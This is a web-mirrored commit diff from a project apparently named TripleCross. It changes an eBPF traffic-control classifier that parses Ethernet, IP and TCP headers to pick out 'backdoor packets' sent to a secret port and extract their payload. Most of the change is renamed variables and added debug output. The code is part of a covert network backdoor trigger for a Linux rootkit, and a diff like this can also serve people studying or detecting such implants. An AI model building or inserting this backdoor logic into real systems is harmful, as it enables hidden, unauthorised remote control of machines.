admin/TripleCross
1
0
Fork 0
mirror of https://github.com/h3xduck/TripleCross.git synced 2025-12-24 02:13:07 +08:00
Code Issues Packages Projects Releases Wiki Activity

Advancements on payload recognition. Now proceeding to build protocol

Browse Source
This commit is contained in:
h3xduck
2022-04-14 07:54:21 -04:00
parent 43ccb6cd3d
commit e8abc7415a
2 changed files with 19 additions and 15 deletions
Download Patch File Download Diff File Expand all files Collapse all files

34
src/ebpf/include/bpf/tc.c
View File

@@ -18,51 +18,55 @@ int classifier(struct __sk_buff *skb){
//We are interested on parsing TCP/IP packets so let's assume we have one //We are interested on parsing TCP/IP packets so let's assume we have one
//Ethernet header //Ethernet header
struct ethhdr *eth_hdr = data; struct ethhdr *eth = data;
if ((void *)eth_hdr + sizeof(struct ethhdr) > data_end){ if ((void *)eth + sizeof(struct ethhdr) > data_end){
bpf_printk("ETH\n"); bpf_printk("ETH\n");
return TC_ACT_OK; return TC_ACT_OK;
} }
if(eth_hdr->h_proto != htons(ETH_P_IP)){ if(eth->h_proto != htons(ETH_P_IP)){
//Not an IP packet //Not an IP packet
bpf_printk("IP\n"); bpf_printk("IP\n");
return TC_ACT_OK; return TC_ACT_OK;
} }
//IP header //IP header
struct iphdr *ip_hdr = (struct iphdr*)(data + sizeof(struct ethhdr)); struct iphdr *ip = (struct iphdr*)(data + sizeof(struct ethhdr));
if ((void *)ip_hdr + sizeof(struct iphdr) > data_end){ if ((void *)ip + sizeof(struct iphdr) > data_end){
bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip_hdr, data, data_end); bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
return TC_ACT_OK; return TC_ACT_OK;
} }
if(ip_hdr->protocol != IPPROTO_TCP){ if(ip->protocol != IPPROTO_TCP){
bpf_printk("TCP\n"); bpf_printk("TCP\n");
return TC_ACT_OK; return TC_ACT_OK;
} }
//TCP header //TCP header
struct tcphdr *tcp_hdr = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr)); struct tcphdr *tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr));
if ((void *)tcp_hdr + sizeof(struct tcphdr) > data_end){ if ((void *)tcp + sizeof(struct tcphdr) > data_end){
bpf_printk("TCP CHECK\n"); bpf_printk("TCP CHECK\n");
return TC_ACT_OK; return TC_ACT_OK;
} }
//We now proceed to scan for our backdoor packets //We now proceed to scan for our backdoor packets
__u16 dest_port = ntohs(tcp_hdr->dest); __u16 dest_port = ntohs(tcp->dest);
if(dest_port != SECRET_PACKET_DEST_PORT){ if(dest_port != SECRET_PACKET_DEST_PORT){
bpf_printk("PORT CHECK\n"); bpf_printk("PORT CHECK\n");
return TC_ACT_OK; return TC_ACT_OK;
} }
//Mark skb buffer readable and writable bpf_printk("Detected bounds: data:%llx, data_end:%llx", data, data_end);
//bpf_skb_pull_data(skb, 0); bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
__u32 payload_size = ntohs(ip_hdr->tot_len) - (tcp_hdr->doff * 4) - (ip_hdr->ihl * 4); //Mark skb buffer readable and writable
char* payload = (void *)(tcp_hdr + tcp_hdr->doff*4);
__u32 payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4);
char* payload = (void *)(tcp + tcp->doff*4);
if ((void*)payload + payload_size > data_end){ if ((void*)payload + payload_size > data_end){
bpf_printk("PAYLOAD CHECK\n"); bpf_printk("PAYLOAD CHECK, payload:%llx, payload_size:%llx, data_end:%llx\n", payload, payload_size, data_end);
return TC_ACT_OK; return TC_ACT_OK;
} }
bpf_skb_pull_data(skb, 0);
bpf_printk("PAYLOAD size: %u\n", payload_size); bpf_printk("PAYLOAD size: %u\n", payload_size);

BIN
src/tc.o
View File

Binary file not shown.